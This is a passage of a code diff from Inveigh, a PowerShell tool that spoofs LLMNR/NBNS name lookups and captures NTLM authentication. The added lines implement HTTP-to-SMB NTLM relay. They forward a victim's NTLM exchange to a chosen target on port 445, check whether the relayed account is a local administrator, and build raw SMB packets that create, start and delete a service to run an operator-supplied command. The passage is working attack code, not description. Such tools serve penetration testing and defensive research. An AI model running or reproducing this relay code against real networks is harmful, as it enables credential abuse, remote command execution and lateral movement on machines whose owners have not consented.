+                        + (0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00)
+                        
+                        $SMB_multiplex_id = (0x05)
+                }
+               
+                3 { 
+                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
+                }
+                
+                4 {
+                    [Byte[]] $SMB_relay_execute_send = (0x00,0x00,0x00,0x8f,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
+                        + $inveigh.process_ID_bytes`
+                        + $SMB_user_ID`
+                        + (0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x50)`
+                        + (0x00,0x00,0x00,0x50,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
+                        + (0x00,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03)`
+                        + (0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00)`
+                        + $SMB_machine_bytes`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00)
+                        
+                        $SMB_multiplex_id = (0x07)
+                }
+                
+                5 {  
+                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
+                }
+                
+                6 {
+                    [Byte[]]$SMB_relay_execute_send = [ARRAY](0x00)`
+                        + $SMB_service_data_length_bytes`
+                        + (0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
+                        + $inveigh.process_ID_bytes`
+                        + $SMB_user_ID`
+                        + (0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00)`
+                        + $SMB_service_byte_count_bytes`
+                        + (0x00,0x00)`
+                        + $SMB_service_byte_count_bytes`
+                        + (0x3f,0x00,0x00,0x00,0x00,0x00)`
+                        + $SMB_service_byte_count_bytes`
+                        + (0x05,0x00,0x00,0x03,0x10)`
+                        + (0x00,0x00,0x00)`
+                        + $SMB_service_byte_count_bytes`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x62,0x01,0x00,0x00,0x00,0x00,0x0c,0x00)`
+                        + $SMB_context_handler`
+                        + (0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00)`
+                        + $SMB_service_bytes`
+                        + (0x21,0x03,0x03,0x00,0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00)`
+                        + $SMB_service_display_bytes`
+                        + (0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
+                        + $SMB_relay_command_length_bytes`
+                        + (0x00,0x00,0x00,0x00)`
+                        + $SMB_relay_command_length_bytes`
+                        + $SMB_relay_command_bytes`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
+                        
+                        $SMB_multiplex_id = (0x09)
+                }
+
+                7 {
+                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
+                }
+                
+                8 {
+                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x93,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
+                        + $inveigh.process_ID_bytes`
+                        + $SMB_user_ID`
+                        + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x54)`
+                        + (0x00,0x00,0x00,0x54,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x54,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
+                        + (0x00,0x54,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x00,0x10,0x00)`
+                        + $SMB_context_handler`
+                        + (0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00)`
+                        + $SMB_service_bytes`
+                        + (0xff,0x01,0x0f,0x00)
+                        
+                        $SMB_multiplex_id = (0x0b)
+                }
+                
+                9 {
+                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
+                }
+                
+                10 {
+                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
+                        + $inveigh.process_ID_bytes`
+                        + $SMB_user_ID`
+                        + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x34)`
+                        + (0x00,0x00,0x00,0x34,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
+                        + (0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x13,0x00)`
+                        + $SMB_context_handler`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
+                }
+                
+                11 {
+                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
+                }
+                
+                12 { 
+                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
+                        + $inveigh.process_ID_bytes`
+                        + $SMB_user_ID`
+                        + (0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x2c)`
+                        + (0x00,0x00,0x00,0x2c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
+                        + (0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x02,0x00)`
+                        + $SMB_context_handler
+                }
+                13 {
+                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
+                }
+            }
+            
+            $SMB_relay_execute_stream.write($SMB_relay_execute_send, 0, $SMB_relay_execute_send.length)
+            $SMB_relay_execute_stream.Flush()
+            
+            if($SMBRelayNetworkTimeout)
+            {
+                $SMB_relay_execute_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout
+                $SMB_relay_execute_stopwatch = [diagnostics.stopwatch]::StartNew()
+                
+                while(!$SMB_relay_execute_stream.DataAvailable)
+                {
+                    if($SMB_relay_execute_stopwatch.elapsed -ge $SMB_relay_execute_timeout)
+                    {
+                        $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")
+                        $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")])
+                        $inveigh.SMB_relay_active_step = 0
+                        $SMB_relay_socket.Close()
+                        break SMB_relay_execute_loop
+                    }
+                }
+            }
+            
+            if ($k -eq 5) 
+            {
+                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)
+                $SMB_context_handler = $SMB_relay_execute_bytes[88..107]
+                
+                if($SMB_relay_execute_bytes[108] -eq 0)
+                {
+                    $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")
+                    $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")])
+                    $SMB_relay_failed = $false
+                }
+                else
+                {
+                    $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")
+                    $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")])
+                    $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget"
+                    $SMB_relay_failed = $true
+                }
+            }
+            elseif (($k -eq 7) -or ($k -eq 11) -or ($k -eq 13))
+            {
+                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)
+                
+                switch($k)
+                {
+                    7 {
+                        $SMB_relay_execute_error_message = "Service creation fault context mismatch"
+                    }
+                    11 {
+                        $SMB_relay_execute_error_message = "Service start fault context mismatch"
+                    }
+                    13 {
+                        $SMB_relay_execute_error_message = "Service deletion fault context mismatch"
+                    }
+                }
+                
+                if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq ('1a-00-00-1c'))
+                {
+                    $inveigh.console_queue.add("$SMB_relay_execute_error_message service on $SMBRelayTarget")
+                    $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $SMB_relay_execute_error on $SMBRelayTarget")])
+                    $SMB_relay_failed = $true
+                }
+                else
+                {
+                    if(!$SMB_relay_failed)
+                    {
+                        $SMB_relay_failed = $false
+                    }
+                }
+            }
+            elseif ($k -eq 9) 
+            {
+                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)
+                $SMB_context_handler = $SMB_relay_execute_bytes[88..107]
+                
+                if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq ('1a-00-00-1c')) # need better checks
+                {
+                    $inveigh.console_queue.add("Service open fault context mismatch on $SMBRelayTarget")
+                    $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Service open fault context mismatch on $SMBRelayTarget")])
+                    $SMB_relay_failed = $true
+                }
+            }
+            else
+            {
+                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)    
+            }
+            
+            if((!$SMB_relay_failed) -and ($k -eq 11))
+            {
+                $inveigh.console_queue.add("SMB relay command likely executed on $SMBRelayTarget")
+                $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")])
+            
+                if($SMBRelayAutoDisable -eq 'y')
+                {
+                    $inveigh.SMB_relay = $false
+                    $inveigh.console_queue.add("SMB relay auto disabled due to success")
+                    $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay auto disabled due to success")])
+                }
+            }
+            elseif((!$SMB_relay_failed) -and ($k -eq 13))
+            {
+                $inveigh.console_queue.add("SMB relay command execution service deleted on $SMBRelayTarget")
+                $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay command execution service deleted on $SMBRelayTarget")])
+                }   
+            
+            [Byte[]]$SMB_relay_execute_ReadAndRequest = (0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
+                + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
+                + $inveigh.process_ID_bytes`
+                + $SMB_user_ID`
+                + $SMB_multiplex_ID`
+                + (0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x19,0x03,0x00,0x00,0xed,0x01,0xed,0x01,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00)
+            
+            $k++
+        }
+        
+        $inveigh.SMB_relay_active_step = 0
+        
+        $SMB_relay_socket.Close()
+        
+    }
+}
+
 # HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener
 $HTTP_scriptblock = 
 { 
-    param ($MachineAccounts,$ForceWPADAuth)
+    param ($Challenge,$SMBRelay,$SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$Repeat,$MachineAccounts,$ForceWPADAuth)
 
     Function NTLMChallengeBase64
     {
@@ -637,16 +1158,17 @@ $HTTP_scriptblock =
         $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp))
         $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
 
-        if($Inveigh.challenge)
+        if($Challenge)
         {
-            $HTTP_challenge = $Inveigh.challenge
-            $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-')
+            $HTTP_challenge = $Challenge
+            $HTTP_challenge_bytes = $Challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-')
             $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
         }
         else
         {
             $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
             $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', ''
+            
             $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
         }
 
@@ -665,17 +1187,18 @@ $HTTP_scriptblock =
         $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
         $NTLM = 'NTLM ' + $NTLM_challenge_base64
         $NTLM_challenge = $HTTP_challenge
-        
+
         Return $NTLM
 
     }
     
-    while($inveigh.running)
+    while ($inveigh.running)
     {
         $inveigh.context = $inveigh.HTTP_listener.GetContext() 
         $inveigh.request = $inveigh.context.Request
         $inveigh.response = $inveigh.context.Response
         $inveigh.message = ''
+        
         $NTLM = 'NTLM'
         
         if($inveigh.request.IsSecureConnection)
@@ -705,12 +1228,66 @@ $HTTP_scriptblock =
             [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header)
             $inveigh.response.StatusCode = 401
             
-            if($HTTP_request_bytes[8] -eq 1)
-            {   
+            if ($HTTP_request_bytes[8] -eq 1)
+            {
+                if(($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 0) -and ($inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget))
+                {
+                    $inveigh.SMB_relay_active_step = 1
+                    $inveigh.console_queue.add("$HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address + " at $(Get-Date -format 's')")
+                    $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address)])
+                    $inveigh.console_queue.add("Grabbing challenge for relay from $SMBRelayTarget")
+                    $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $SMBRelayTarget)])
+                    $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient
+                    $SMB_relay_socket.connect($SMBRelayTarget,"445")
+                    
+                    if(!$SMB_relay_socket.connected)
+                    {
+                        $inveigh.console_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")
+                        $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")])
+                        $inveigh.SMB_relay_active_step = 0
+                    }
+                    
+                    if($inveigh.SMB_relay_active_step -eq 1)
+                    {
+                        $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes
+                        $inveigh.SMB_relay_active_step = 2
+                        $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length]
+                        $SMB_user_ID = $SMB_relay_bytes[34..33]
+                        $SMB_relay_NTLM_challenge = $SMB_relay_bytes[102..109]
+                        $SMB_relay_target_details = $SMB_relay_bytes[118..257]
+                        $SMB_relay_time = $SMB_relay_bytes[258..265]
+                    
+                        [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)`
+                            + $SMB_relay_NTLM_challenge`
+                            + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
+                            + $SMB_relay_target_details`
+                            + $SMB_relay_time`
+                            + (0x00,0x00,0x00,0x00)
+                    
+                        $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
+                        $NTLM = 'NTLM ' + $NTLM_challenge_base64
+                        $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes
+                        $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $NTLM_challenge)
+                        $inveigh.console_queue.add("Received challenge $NTLM_challenge for relay from $SMBRelayTarget")
+                        $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")])
+                        $inveigh.console_queue.add("Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)
+                        $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)])
+                        $inveigh.SMB_relay_active_step = 3
+                    }
+                    else
+                    {
+                        $NTLM = NTLMChallengeBase64
+                    }
+                }
+                else
+                {
+                     $NTLM = NTLMChallengeBase64
+                }
+                
                 $inveigh.response.StatusCode = 401
-                $NTLM = NTLMChallengeBase64 
+                
             }
-            elseif($HTTP_request_bytes[8] -eq 3)
+            elseif ($HTTP_request_bytes[8] -eq 3)
             {
                 $NTLM = 'NTLM'
                 $HTTP_NTLM_offset = $HTTP_request_bytes[24]
@@ -757,7 +1334,7 @@ $HTTP_scriptblock =
                         }                   
                     }
                     
-                    if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat))
+                    if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n'))
                     {
                         $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address
                     }
@@ -783,7 +1360,7 @@ $HTTP_scriptblock =
                         
                     }
                     
-                    if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat))
+                    if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n'))
                     {
                         $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address
                     }
@@ -792,6 +1369,69 @@ $HTTP_scriptblock =
                 $inveigh.response.StatusCode = 200
                 $NTLM_challenge = ''
                 
+                if (($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 3))
+                {
+                    if((!$SMBRelayUsernames) -or ($SMBRelayUsernames -contains $HTTP_NTLM_user_string) -or ($SMBRelayUsernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))
+                    {
+                        if(($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))
+                        {
+                            if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget")
+                            {
+                                if($NTLM_type -eq 'NTLMv2')
+                                {
+                                    $inveigh.console_queue.add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")
+                                    $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")])
+                                    $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID
+                                    $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length]
+                    
+                                    if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00')))
+                                    {
+                                        $inveigh.console_queue.add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")
+                                        $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")])
+                                        $inveigh.SMB_relay_active_step = 4
+                                        SMBRelayExecute $SMB_relay_socket $SMB_user_ID          
+                                    }
+                                    else
+                                    {
+                                        $inveigh.console_queue.add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")
+                                        $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")])
+                                        $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget"
+                                        $inveigh.SMB_relay_active_step = 0
+                                        $SMB_relay_socket.Close()
+                                    }
+                                }
+                                else
+                                {
+                                    $inveigh.console_queue.add("NTLMv1 relay not yet supported")
+                                    $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")])
+                                    $inveigh.SMB_relay_active_step = 0
+                                    $SMB_relay_socket.Close()
+                                }
+                            }
+                            else
+                            {
+                                $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")
+                                $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")])
+                                $inveigh.SMB_relay_active_step = 0
+                                $SMB_relay_socket.Close()
+                            }
+                        }
+                        else
+                        {
+                            $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")
+                            $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")])
+                            $inveigh.SMB_relay_active_step = 0
+                            $SMB_relay_socket.Close()
+                        }
+                    }
+                    else
+                    {
+                        $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")
+                        $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")])
+                        $inveigh.SMB_relay_active_step = 0
+                        $SMB_relay_socket.Close()
+                    }
+                }
             }
             else
             {
@@ -807,16 +1447,14 @@ $HTTP_scriptblock =
         $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length)
         $HTTP_stream.close()
     }
-
-    $inveigh.HTTP_listener.Stop()
-    $inveigh.HTTP_listener.Close()
-
+    $inveigh.HTTP_listener.stop()
+    $inveigh.HTTP_listener.close()
 }
 
 # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer
 $sniffer_scriptblock = 
 {
-    param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$MachineAccounts,$ForceWPADAuth,$RunTime)
+    param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$Repeat,$MachineAccounts,$ForceWPADAuth,$RunTime)
 
     $byte_in = New-Object Byte[] 4	
     $byte_out = New-Object Byte[] 4	
@@ -840,7 +1478,12 @@ $sniffer_scriptblock =
 
     while($inveigh.running)
     {
-        $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.length,[Net.Sockets.SocketFlags]::None)
+        try
+        {
+            $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.length,[Net.Sockets.SocketFlags]::None)
+        }
+        catch
+        {}
     
         $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data)
         $binary_reader = New-Object System.IO.BinaryReader($memory_stream)
@@ -1117,10 +1760,7 @@ $sniffer_scriptblock =
                     }
                 }
 
-                $inveigh.HTTP = $false
-                $inveigh.HTTPS = $false
                 $inveigh.running = $false
-                $inveigh.relay_running = $false
 
             }
         }
@@ -1146,11 +1786,6 @@ $sniffer_scriptblock =
             }
         }
     }
-
-    $binary_reader.Close()
-    $memory_stream.Dispose()
-    $memory_stream.Close()
-
 }
 
 # End ScriptBlocks
@@ -1183,7 +1818,10 @@ Function HTTPListener()
     $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null
     $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null
     $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
-    $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($MachineAccounts).AddArgument($ForceWPADAuth) > $null
+    $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument(
+        $SMBRelay).AddArgument($SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument(
+        $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument($Repeat).AddArgument(
+        $MachineAccounts).AddArgument($ForceWPADAuth) > $null
     $HTTP_handle = $HTTP_powershell.BeginInvoke()
 }
 
@@ -1199,7 +1837,7 @@ Function SnifferSpoofer()
     $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
     $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument(
         $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument(
-        $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument(
+        $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($Repeat).AddArgument(
         $MachineAccounts).AddArgument($ForceWPADAuth).AddArgument($RunTime) > $null
     $sniffer_handle = $sniffer_powershell.BeginInvoke()
 }
@@ -1209,7 +1847,7 @@ Function SnifferSpoofer()
 # Startup Enabled Services
 
 # HTTP Server Start
-if(($inveigh.HTTP -or $inveigh.HTTPS) -and $SMBRelay -eq 'n')
+if(($inveigh.HTTP) -or ($inveigh.HTTPS))
 {
     HTTPListener
 }
@@ -1219,6 +1857,7 @@ SnifferSpoofer
 
 if($inveigh.console_output)
 {
+
     :console_loop while(($inveigh.running) -and ($inveigh.console_output))
     {
         while($inveigh.console_queue.Count -gt 0)
@@ -1292,14 +1931,13 @@ Function Stop-Inveigh
 {
     <#
     .SYNOPSIS
-    Stop-InveighRelay will stop all running Inveigh functions.
+    Stop-Inveigh will stop Inveigh.
     #>
     if($inveigh)
     {
-        if($inveigh.running -or $inveigh.relay_running)
+        if($inveigh.running)
         {
             $inveigh.running = $false
-            $inveigh.relay_running = $false
             
             if($inveigh.HTTP_listener.IsListening)
             {
@@ -1343,47 +1981,40 @@ Function Stop-Inveigh
                 }
             }
         }
-
-        $inveigh.HTTP = $false
-        $inveigh.HTTPS = $false
-
     }
     else
     {
         $inveigh.status_queue.add("Inveigh isn't running")|Out-Null
     }
 
-    if($inveigh.status_output)
+    while($inveigh.status_queue.Count -gt 0)
     {
-        while($inveigh.status_queue.Count -gt 0)
+        if($inveigh.output_stream_only)
         {
-            if($inveigh.output_stream_only)
-            {
-                write-output($inveigh.status_queue[0] + $inveigh.newline)
-                $inveigh.status_queue.RemoveRange(0,1)
-            }
-            else
+            write-output($inveigh.status_queue[0] + $inveigh.newline)
+            $inveigh.status_queue.RemoveRange(0,1)
+        }
+        else
+        {
+            switch -wildcard ($inveigh.status_queue[0])
             {
-                switch -wildcard ($inveigh.status_queue[0])
+                "Inveigh exited at *"
                 {
